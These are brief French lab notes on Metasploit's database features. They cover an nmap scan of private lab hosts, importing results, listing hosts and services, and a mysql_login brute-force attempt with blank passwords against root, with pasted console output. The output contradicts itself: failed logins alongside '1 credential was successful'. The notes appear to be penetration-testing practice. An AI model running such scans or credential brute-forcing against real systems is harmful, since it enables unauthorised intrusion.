BDD de Metasploit

nmap 192.168.10.20 -oX ScanNmap
systemctl start postgresql
msfdb init
msfconsole
db_status
workspace
workspace -a lab
db_import /home/kali/ScanNmap
hosts
db_nmap -A 192.168.10.30
db_export -f xml /home/kali/export.xml
use auxiliary/scanner/portscan/tcp
hosts -c address,os_flavor -S Linux -R
Hosts
=====

address  os_flavor
-------  ---------

[*] The list is empty, cowardly refusing to set RHOSTS
hosts -c address,os_flavor -S Unknown -R
Hosts
=====

address        os_flavor
-------        ---------
192.168.10.20

RHOSTS => 192.168.10.20
back
services 192.168.10.20 -c name,info -S http
Services
========

host           name          info
----           ----          ----
192.168.10.20  ftp
192.168.10.20  ssh
192.168.10.20  telnet
192.168.10.20  smtp
192.168.10.20  domain
192.168.10.20  http
192.168.10.20  rpcbind
192.168.10.20  netbios-ssn
192.168.10.20  microsoft-ds
192.168.10.20  exec
192.168.10.20  login
192.168.10.20  shell
192.168.10.20  rmiregistry
192.168.10.20  ingreslock
192.168.10.20  nfs
192.168.10.20  ccproxy-ftp
192.168.10.20  mysql
192.168.10.20
192.168.10.20  postgresql
192.168.10.20  vnc
192.168.10.20  x11
192.168.10.20  irc
192.168.10.20
192.168.10.20  ajp13
192.168.10.20
192.168.10.20
use auxiliary/scanner/mysql/mysql_login
set USERNAME root
set BLANK_PASSWORDS true
[+] 192.168.10.20:3306    - 192.168.10.20:3306 - Found remote MySQL version 5.0.51a
[-] 192.168.10.20:3306    - 192.168.10.20:3306 - LOGIN FAILED: root:mfsadmin (Unable to Connect: invalid packet: scramble_length(0) != length of scramble(21))
[-] 192.168.10.20:3306    - 192.168.10.20:3306 - LOGIN FAILED: root: (Unable to Connect: invalid packet: scramble_length(0) != length of scramble(21))
[*] Scanned 1 of 2 hosts (50% complete)
[-] 192.168.10.30:3306    - 192.168.10.30:3306 - Unable to connect: The connection was refused by the remote host (192.168.10.30:3306).
[*] Scanned 2 of 2 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] You can open an MySQL session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed

Aucun cred trouvé pour root ni msfadmin essayé juste après.